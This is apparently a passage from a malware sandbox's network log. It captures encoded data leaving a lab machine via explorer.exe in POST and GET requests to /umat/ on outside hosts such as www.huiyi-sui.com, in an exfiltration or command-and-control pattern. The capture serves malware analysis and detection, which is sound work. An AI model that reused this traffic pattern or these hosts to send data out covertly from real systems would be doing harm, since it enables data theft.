bT7tPLpx=xiK5v-sOfjzyW9Lg5djvFt(VHYG615aYzJH4HlNHctE9v2mLmwvT5x~osS2G~BeA(vwkd_IePhzvsFec2YNPW3Rj69c-sAnLNpvvdZ5T8RH8Ph(KluGXcKj3sqTdBlf95FCtwooMs4yWmddCL5zYKzCWhuJjtdy7zMHeg9wjPT4NG30iWOsU2VJCBMRc8LsCHCiNi6kemacppOqQzXAj(3uQLXm-yk5OxkPmoWdHDuiN~-mldivSodWFIrgwKCr3HuM_WY29SuYRDhgaOP5Ka8YbzES9MAyYEgAEDjdXMXJKiVYNQNUQFD2dng799nmOXnBg~RyLasEbAs2m~CE3WFW0U_xpY3sxw846n33ix-jvZdvYgRHJDj9ILp8eV42K(XjIeMejkDUyG6zDK7QkIRYQH0g2PEK3iFY6Tw7PGQsQdUBQMPBTXtxbHalb0fQr05XzUFV33f2arO(mVeEXUTbC~Ey04IBR2f3ryLTCJb(-0OW5D-XX5EXjRs2p0RPBTxShbk4SDE9ZeNEcuzzF3xiIskmBO7~YzEwj51uywgZoqXpcj4FIrMfZfDgGX62wB5ldAB5X7zJFVcSPKF(DerC5PCwNbQWyBQFE1wMR9XwKMWtxBADP7mMbMawS(FVbh2W5adqfSAfjazljnqkTPGtVUSa8p7Ic8ej-5YJvrUuUl0KenfccjO6OSQrvV7w5YGWVFaPnneKS4MQuMppEIrNJ(85Fr2O2w8FE(PgTALu_wX9LyhOziqrbR-cdF3iLXrUFvHxPA3ZCg7M8EiP2MCw7Bei350EpeRX4mKTyuy~2E5AIASdHmHnVHv~wOpyz87V3RkwvSY12pwu_anWcJ_NzX5fJWHpsY9Kcm5I8(5DLc35qWJ0xl4bfepLGIU4PJ43zI47ccI0HGVwPaofyVSgFT74OM49Y3tUIE1C5Ie6JCCkTDGDuxg2VMZMV6XwMW8fXd91uwWJUReZG8C5MgJAofj902EYNhJWQPuQS03AqdeTNJgw4Oj~4ArpUnfPLmURQ6XHtKTRo1Ex25BDWi9R2ioxJvg79W3g9QeCRQ4IxZt(3(9xXvO2XVqWZuiQfimQDJKnTEm6G7xyl1g6BBeYxcNeWvki_h6qYRpLNgIaoEeUtal8ki6SIXykKFcsf3Nk0j94jk2D_R4ppntEjvlJ24yxrpNjDRsHVr1O-nAFY2yW4GxFnseS3eX~Iw2HIma9rmt2njXscwwyjX2L6iBxdQLv8C_8wvNzafVeWZOjE(CpJsi9EMDNfTfIoqk(USM8o7AcrSXBBvvmfu1~J0hfYpgcGA3ijcJdAZ8KXcwFd9A7q~zBqNEQPhkfRn2d58fAIPD(uPda5tBnUYJW91luuVaFuRuYjcHb10UrbQoTfQ0TAVFUchVLg8IJsD30-KoPgqTFMfUBJavPg22Tg(Px1qvJnSkvYyrDgIgZycn~Z99iXiaHsdj9YrFCJmQdJk6k9A-h6qcD37bfdpN63okoeKmVhVGe8aHfi6rmEsncW3LNR0Olrn_uDXnku~AF4MbwwUwXlXUgNyQ0zIqwB6j7Oaj8v3WzkMlN6vZgQCaqhXtV6CNsS~dV0fuNEo3proxOCNh1JdUiTZW~FQ0L5OTEjZ1lZH8Vzx2pQHvyFl0ow3L0mGKmXoj8WMuCrvJJZOMmVf18kePldc-RuUYdKi8pw3YHAdFbJ88EaMaFE2Ef1KOj3Hf1usJx8ecrEQ7g85dgNO3pJA95P4EDX0CpBNJvTWomSBTHdNDQRd_dtrJzem47khIpjBzngUrojMC7fgzdRXffishD9tgLBbdgoCLbnDuL6Hm~IlHfsck6IEoKn0GE-SPC2MePAlJjDuE0n04Xtyu91efKZSg0eu8h3wiriFrvfzOX_JBo-3JYQvIUyxo2x1U94rmUMJKQlMq4irpdVFb2iVMGdMBJZ011mTdTNblawlQZAEq(4YF2PsqmJSWEyTouJ8qapnkvvxyfB7NMfNeBgIJMlrudKaNXPHKEG0C8ouojyJne0SZaIrjuxq-A6Z_TVSj2lFmqHatnqMAOfywh5ej32NsQPOdz9er5DuZHkuabEL440GHIzFJtmTzatro~jppow3YsY9EF1kVDnCaxYBBdlvWb49kWQqQ57vNgPpY3U0oqB0aIMzLk3GPdltkpJ(uiAzveFV4k5LgbCVYJuiSgMrgzgFtv5kQQ-xgc_ZwOOeXh0TdNeMzr5L8kbC1S1QN(uLpYNuO3E2lvqP5LeyfrNToGvQ9qXz4ZhFjK39j~NatrtR-gZoj6oxaomCwny2gPYpR2b(Q5XddB9D1KVH_fSOUhjepO0G0xA7rRpd30c8m6KmDVaBUU7lbvLS14XIWvjs97iibN_KaOT7nkS4R9vCzK8mGtSbVRCsiK2PQxL~SlgLOevN6wWPbcgwVsYAkLeRKfNao1EpTR25_1k9GGr3iGt5H0QZqRXnagtQRJRNDUvm7b9~Lofmi6MqdnPxIKN37qZKWJiAMOw7arbj72tmpUc16LnaamisEPuT6xdThtDgpeD~swgDEyC34YrLDsIiOQnfMu9fui6fKg11L9AAJO2wylXn9pSPXzP1xPdbMqPMtuw1_f8UmYNcG(hJvuooczsuZOWn4s-EQxte8axhv0N4Unrp-OhHoXAXCgCrMdDa6q85rBH4F5zXvkKpb8K5YLUncnD~nA_XQ4z(pwplrtEsTj7ddcyzRTgs5rBtLfch8C8XbxS6jOH92LDoZyIewkYmcGG0hX2cnHicuWMP_tjLQDOx-gW9TTw2K2LUPMJQ14sz2dC053Ln1kHWwNcdcdhnUuL2tbgphTcHYx4oX21S6mtBBd_8_vqWgwlo8~O0bl1axU6I_IPulZpSEsW3aq9ZliEgpC8cbS5dCAMkm8_07OdEXTa1tOtu528tflmZz7ocDj-8wxUZ4dufPC2Q6UjptbeopcCxSHd9AO7DFNf1mtPgd9qkNt5e2gBOKMpcZOPiOQ-UA5oFNquNv6g~te3uy(wGhyPG0oAov5H5DvwAAuJryCtXmXDDb5ORiWi(I884HdgqbXGhZKdk3~avTrgT58wPe4e1t5zQqeym_gOFKkJJkhrbcjC2Q7Ce-lwHptW166gNN81p3pJ7UsOvqWEB0GW5enIwkwK2zasyGOfz1njSFR22V6FOR(ZepJI91bPnnEzJUkGbc57sxLpMwPENNrU3w(IhzyymP(kiSbrS3rKYzFM(T9ORiEZwAnyJOmO47i2hMSY5i6TgoEzQ8h1Gq4xhy(DFrxCkgfUXq~B9fi-ZZpVLP(hVeE0WqP7eyJ-rxo9qeqdImucp2TSyiy2zgF-KGiR5mSZI2Aomv53bXO2BG2jm-0eprojf_qWZUtE0UK_gKTZwFCnM6PVJqHfKb(bpJiTcwLnbzd5pH2ipJ0CElLJKqQevZH5iSsloQ7x6gB1c7hWKueUKKVotyPOq6HuZtxrcbmtSh1QUy1akanG(8wCFk2XZvjT07cBRSc3u0nc0bx7ngIznRoFmPGxRaMOB9esOHw9eAvXk0R48EAJUmUR0Tapf5mVBHkeLFIeEXVyWIbSK_EXbiNNMxi1y5XTmpFa8YP8WiCKnoM6AgADZuTxRSJN6KMDTljlOBzggaz-~0L1AeCoMeZysoaYEruejuZGsxs1dJ5ienFi9Az6K3KmMi(k44Z8Ht64Hlkmf0d3~fwAp7eo2r21IaGHyAA_HaD_lzl3BXaQZa73wosjmbwlC-YzV6SUMRXn9r866vB_9QIMgV3h0ubLNWrTDTl6~iopTUt1A_UESWxPytaCidE5vH7pZQby8DAnwMDlkfVDkK0NhckPN77EAhbMcCUPWrxcHmpfnCoOkZeVb3dgEXcQZZwWhQokrsN-PL2OAMUrLzaP2JCHwQKKqT2hXFwb80mI9CwEhxhoQjNur2rzsX5-xrtwXP5Azw3VA7tWkosRsEeD6BmE(owJF7bojuewmGzLUPi92Zh3m_Aq7B6eXXkYFyI0RL2-P-2quDg2P5eTGarui_6kzuGUNHywwe3xd0wv1ERl0gVPcsKoDpxrvlxZq005kwaSe6Qzzq4OdV0yB
Jun 3, 2022 08:17:37.436929941 CEST	9727	OUT	Data Raw: 66 4b 73 73 37 48 77 69 39 6a 28 72 58 74 42 77 50 51 6c 5f 56 30 58 6c 28 2d 72 36 35 51 5a 46 7a 4f 74 37 4e 71 46 66 53 4e 55 4d 32 6c 45 74 6d 5f 6c 75 6c 48 47 35 4d 64 30 44 6d 66 46 48 48 52 59 70 71 79 31 31 70 69 51 5f 38 75 4b 36 59 71 Data Ascii: fKss7Hwi9j(rXtBwPQl_V0Xl(-r65QZFzOt7NqFfSNUM2lEtm_lulHG5Md0DmfFHHRYpqy11piQ_8uK6YqNQBqrmGLQ61FeyYWgcqf3kwRSKXowx9D0XIiMc3nZUewcgOTeVSBSHlv3PbHHoggROJlTaFTFXuTSztaH0kOjWUMj8419GGal4(lRZYNFMjN1rImIOgSegXf~GNHOb0ZGBhY0uBQzqjjgxlFAlRn9Nhp2Cf9Lq(S1
Jun 3, 2022 08:17:37.436988115 CEST	9742	OUT	Data Raw: 4b 45 5a 39 44 63 45 51 68 33 4d 73 68 37 39 4d 64 68 47 36 42 6e 4e 46 4c 63 64 70 37 51 41 59 69 4a 70 38 37 65 28 41 39 63 52 46 31 51 52 36 4f 43 54 6c 6f 72 75 53 57 70 51 4e 46 67 70 76 30 55 53 6c 56 47 51 34 6d 50 76 31 54 71 4d 75 48 50 Data Ascii: KEZ9DcEQh3Msh79MdhG6BnNFLcdp7QAYiJp87e(A9cRF1QR6OCTloruSWpQNFgpv0USlVGQ4mPv1TqMuHPHaIofvRpoYb4aIuW08(Q3LDUDgwbivIFPoQzUmNZ2DIfgNuFJ-tJEJQMVruqt_VRKT93knYHQvZ42SY3jTN04kjvE3pBwHOXPU1JuTi14XIOfm3cZPkCQo~85HShxsY3X0cDhXKAM37sab0vc8CFarpku95-xc9rX
Jun 3, 2022 08:17:37.550848007 CEST	9745	IN	HTTP/1.1 404 Not Found Date: Fri, 03 Jun 2022 06:17:37 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache/2 Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Age: 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavaScript"> var url = 'http://www.searchvity.com/?dn=' + document.domain + '&pid=9POL6F2H4'; $(document).ready(function() { $('#ad_frame').attr('src', url); }); </script> </head> <body> <iframe id="ad_frame" src="http://www.searchvity.com/" frameborder="0" scrolling="no"> ... browser does not support iframe's --> </iframe> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49791	66.96.162.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:17:37.438126087 CEST	9743	OUT	GET /umat/?bT7tPLpx=+g+DxeMkQzGDCM6UtLigEqbhHpqmy5i0tcGfeVxiUfs1lW6LnDSR3mKv2Ti+o1fqk+Bj&Lls=Mzrp HTTP/1.1 Host: www.408wmountain.info Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 3, 2022 08:17:37.549096107 CEST	9744	IN	HTTP/1.1 404 Not Found Date: Fri, 03 Jun 2022 06:17:37 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache/2 Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Age: 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavaScript"> var url = 'http://www.searchvity.com/?dn=' + document.domain + '&pid=9POL6F2H4'; $(document).ready(function() { $('#ad_frame').attr('src', url); }); </script> </head> <body> <iframe id="ad_frame" src="http://www.searchvity.com/" frameborder="0" scrolling="no"> ... browser does not support iframe's --> </iframe> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49823	198.44.241.20	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:17:48.809731960 CEST	10586	OUT	POST /umat/ HTTP/1.1 Host: www.huiyi-sui.com Connection: close Content-Length: 414 Cache-Control: no-cache Origin: http://www.huiyi-sui.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.huiyi-sui.com/umat/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 62 54 37 74 50 4c 70 78 3d 37 57 4b 4b 64 35 46 45 55 64 5a 6f 58 66 42 41 57 37 66 37 49 41 6b 6c 62 42 7a 77 35 71 6b 4b 43 33 7a 51 78 42 50 5f 50 5a 41 33 54 31 64 38 79 42 4e 71 4d 51 4d 39 31 35 57 69 30 4e 46 73 4a 6c 71 67 68 42 41 59 49 45 32 78 42 66 52 64 44 48 7e 77 76 30 52 68 75 35 43 70 45 76 77 30 47 4c 32 79 54 39 76 4f 62 6c 48 56 31 39 31 43 75 64 71 4c 77 32 7e 48 76 55 48 50 42 31 56 34 51 4e 68 31 73 39 44 53 73 69 69 4f 32 37 28 61 73 49 65 4d 5a 77 6f 50 74 45 59 54 63 70 33 75 76 67 46 4c 6e 6c 79 30 67 74 48 55 55 36 67 4d 62 65 42 5f 38 36 78 34 61 4f 33 37 34 2d 52 61 4c 6a 72 70 39 49 34 73 76 4f 65 36 28 56 4a 69 77 7a 4d 5f 6b 4b 47 37 4d 32 6d 4b 69 67 69 55 35 37 48 78 77 66 6b 6a 46 46 4b 6d 56 67 73 70 6e 57 37 39 36 54 34 62 28 41 71 4a 57 4d 54 6b 48 36 71 61 71 6a 4f 41 33 36 45 4d 4d 38 58 79 49 38 33 6d 30 4e 79 50 7e 6e 33 53 4c 43 49 4a 4d 63 79 54 41 59 34 55 5a 49 38 77 39 4c 53 4c 61 5a 4c 53 55 33 51 2d 35 34 67 52 77 6c 79 49 51 75 44 54 4f 52 43 44 52 39 53 66 66 4d 54 39 39 41 56 54 37 55 7e 66 52 55 4f 41 68 6b 64 66 44 6f 64 6b 58 61 39 54 49 4b 30 4c 6d 5a 54 70 48 6f 50 66 64 39 64 38 31 45 6a 33 32 5a 49 6e 37 43 53 69 72 50 50 77 59 61 32 55 35 4e 6d 55 39 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: bT7tPLpx=7WKKd5FEUdZoXfBAW7f7IAklbBzw5qkKC3zQxBP_PZA3T1d8yBNqMQM915Wi0NFsJlqghBAYIE2xBfRdDH~wv0Rhu5CpEvw0GL2yT9vOblHV191CudqLw2~HvUHPB1V4QNh1s9DSsiiO27(asIeMZwoPtEYTcp3uvgFLnly0gtHUU6gMbeB_86x4aO374-RaLjrp9I4svOe6(VJiwzM_kKG7M2mKigiU57HxwfkjFFKmVgspnW796T4b(AqJWMTkH6qaqjOA36EMM8XyI83m0NyP~n3SLCIJMcyTAY4UZI8w9LSLaZLSU3Q-54gRwlyIQuDTORCDR9SffMT99AVT7U~fRUOAhkdfDodkXa9TIK0LmZTpHoPfd9d81Ej32ZIn7CSirPPwYa2U5NmU9g).

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49824	198.44.241.20	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:17:49.017874002 CEST	10594	OUT	POST /umat/ HTTP/1.1 Host: www.huiyi-sui.com Connection: close Content-Length: 36482 Cache-Control: no-cache Origin: http://www.huiyi-sui.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.huiyi-sui.com/umat/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 62 54 37 74 50 4c 70 78 3d 37 57 4b 4b 64 38 46 53 66 39 39 78 64 76 4e 7a 59 6f 76 76 48 51 30 6e 65 78 33 46 7a 4c 59 56 47 47 44 75 38 67 7e 50 4f 59 35 7a 58 46 42 52 28 69 38 33 4d 55 41 51 74 36 79 2d 7e 39 5a 7a 4a 6c 43 43 68 42 45 59 4c 45 65 68 43 34 64 7a 44 6b 57 7a 72 55 51 59 76 35 43 30 41 74 55 56 47 4c 43 51 54 39 6e 65 62 51 62 56 31 62 78 43 6f 65 79 51 7e 32 7e 46 6e 30 57 65 46 30 70 50 51 4e 34 67 73 5f 6e 53 73 54 65 4f 77 61 50 46 6c 76 79 50 55 41 6f 57 71 45 5a 44 56 4a 36 49 76 67 41 65 6e 6c 4f 30 67 66 6a 55 56 71 41 4d 54 50 42 2d 7a 71 78 48 65 4f 33 38 76 75 64 4c 4c 69 48 6c 39 4e 41 38 36 71 57 36 7e 6c 4a 68 6d 77 63 42 79 4a 44 35 41 58 53 74 69 67 75 74 35 4b 61 33 77 61 55 6d 4d 57 53 64 4a 53 31 38 6e 56 58 58 35 7a 34 58 6e 51 71 6f 57 4d 53 62 48 36 72 37 71 67 6d 41 33 37 63 4d 44 37 62 79 4a 63 33 6c 36 74 79 4a 35 6e 33 5a 50 43 45 33 4d 64 58 45 41 59 67 69 61 36 34 77 76 4c 43 4c 4c 70 33 52 56 6e 51 6b 7a 59 67 77 30 6c 79 54 51 75 43 32 4f 55 32 54 52 4b 79 66 4e 4a 28 39 74 79 39 54 38 6b 7e 66 64 30 4f 43 36 55 5a 78 44 73 78 6f 58 62 67 6d 49 35 34 4c 6e 50 48 70 48 4d 62 66 66 4e 64 38 34 6b 69 32 78 61 74 31 36 51 37 56 6d 76 33 33 52 75 6e 6d 79 4a 37 76 67 73 66 47 77 74 7a 62 4a 57 31 72 71 49 41 32 47 74 65 71 28 77 6f 53 52 30 55 67 4c 75 42 55 52 55 4e 55 49 66 48 35 30 54 6a 66 35 46 68 65 53 58 56 37 33 53 4c 45 39 75 57 58 7e 56 51 4d 6c 69 62 47 44 52 48 41 7a 35 33 4a 32 4f 7e 50 6f 73 67 46 7a 6c 70 52 66 78 4b 75 75 76 66 42 76 58 4d 70 38 50 66 76 64 59 33 66 6f 4d 32 65 7e 30 42 63 50 38 7e 35 6e 51 56 57 69 77 73 33 28 50 6d 31 28 41 39 41 7a 33 32 6c 31 65 46 32 44 42 66 4d 59 52 69 4e 31 52 7e 41 30 45 6c 44 6f 61 4c 67 4c 62 41 44 4f 68 57 58 64 65 6e 7a 49 46 4e 70 43 35 49 73 69 71 7e 74 47 6d 63 68 44 77 59 52 32 71 50 6d 36 7a 31 75 4d 4a 6e 66 28 5f 28 31 55 4a 46 52 36 63 74 49 61 45 6e 75 73 37 4f 53 73 4d 52 4c 56 4e 41 54 28 6e 4a 61 62 71 53 57 34 56 67 45 64 33 43 46 53 46 44 41 50 76 41 50 65 5f 76 63 61 61 71 4b 44 67 67 6c 52 4e 75 6d 6a 44 6f 6f 68 65 58 5f 78 4f 48 78 63 6d 73 54 51 42 6c 32 65 74 67 67 5a 5f 67 4f 61 72 6b 31 6e 56 4b 68 63 62 4f 51 5a 53 6e 7a 41 45 28 55 73 73 31 31 4c 4d 55 46 36 37 39 38 65 39 42 41 51 41 4a 4f 79 76 7a 35 5a 77 7a 6f 58 2d 54 32 54 72 54 57 50 45 4c 50 34 4b 54 4e 62 53 43 5f 4f 71 6f 65 33 48 43 6b 69 75 71 30 75 34 37 56 49 5f 4f 6f 71 65 5a 78 4b 77 54 4a 6d 39 65 77 6f 53 45 39 75 44 53 67 64 71 61 4d 49 49 65 78 69 78 78 4d 56 41 44 49 28 38 6f 66 55 65 44 54 44 68 6d 53 63 36 56 31 4e 4e 72 5f 7a 38 75 4b 4a 6f 34 77 38 67 6e 48 50 42 4e 4e 62 68 72 76 74 62 4b 6b 45 63 74 34 34 4a 32 62 77 42 35 2d 6a 43 6c 4d 6b 74 4e 72 6e 4f 30 46 72 4b 78 68 7a 75 69 4a 67 34 4c 47 37 4d 58 79 69 4b 69 42 4b 6c 44 43 43 45 6b 4b 6a 79 58 55 41 32 4c 52 63 39 70 6e 4f 62 73 65 32 73 61 55 46 67 58 34 71 59 44 55 64 6c 4e 6f 39 61 48 50 59 58 7e 34 43 69 37 6c 36 43 35 36 44 39 35 34 54 66 42 73 37 34 4a 35 30 4c 48 70 61 44 71 33 46 45 67 31 39 73 55 32 4c 44 39 33 50 50 79 64 33 6f 6f 54 4e 71 38 6a 4b 56 57 73 77 76 56 4c 6f 71 7e 2d 64 47 44 71 33 35 35 4c 5a 7a 43 45 7e 74 65 36 6a 79 44 76 73 30 38 31 46 38 56 49 6f 35 73 48 65 33 30 4e 46 45 75 70 6e 4d 4d 65 61 48 35 2d 70 38 42 32 6c 51 76 4f 7a 4e 6a 56 4a 77 44 5f 58 7a 7a 32 61 6d 33 79 4c 35 61 55 43 65 76 62 53 76 52 4b 67 74 67 34 36 53 6b 46 50 63 4e 61 32 67 42 54 43 44 44 37 72 36 32 65 5a 5f 76 54 43 63 6a 4e 7a 79 35 63 33 62 41 51 37 5f 62 67 64 2d 4f 69 49 67 31 5f 47 41 6e 46 47 74 59 47 4b 74 64 55 67 77 6f 64 7e 74 44 68 69 52 63 74 4d 6c 51 2d 66 61 4c 7a 50 48 4a 50 34 78 7a 73 51 51 77 78 56 71 63 68 77 45 6f 41 4e 74 4d 49 69 61 5a 4e 28 2d 57 65 4a 72 32 39 49 7a 32 5f 6d 38 35 69 65 35 68 6f 57 64 62 66 7e 71 39 31 7a 77 6d 4c 79 76 28 54 6d 56 6d 6a 34 62 70 63 34 42 39 6e 63 5a 68 67 50 48 53 50 66 49 66 54 33 77 55 54 6a 2d 67 65 6a 6a 49 35 6f 75 4b 34 35 4b 7a 43 64 45 59 66 54 36 5a 49 79 62 45 6d 77 72 46 75 4f 64 5a 62 33 78 6f 75 77 52 51 72 43 31 4d 50 37 6f 4d 33 66 32 44 49 6f 70 66 49 79 73 64 54 34 64 Data Ascii: 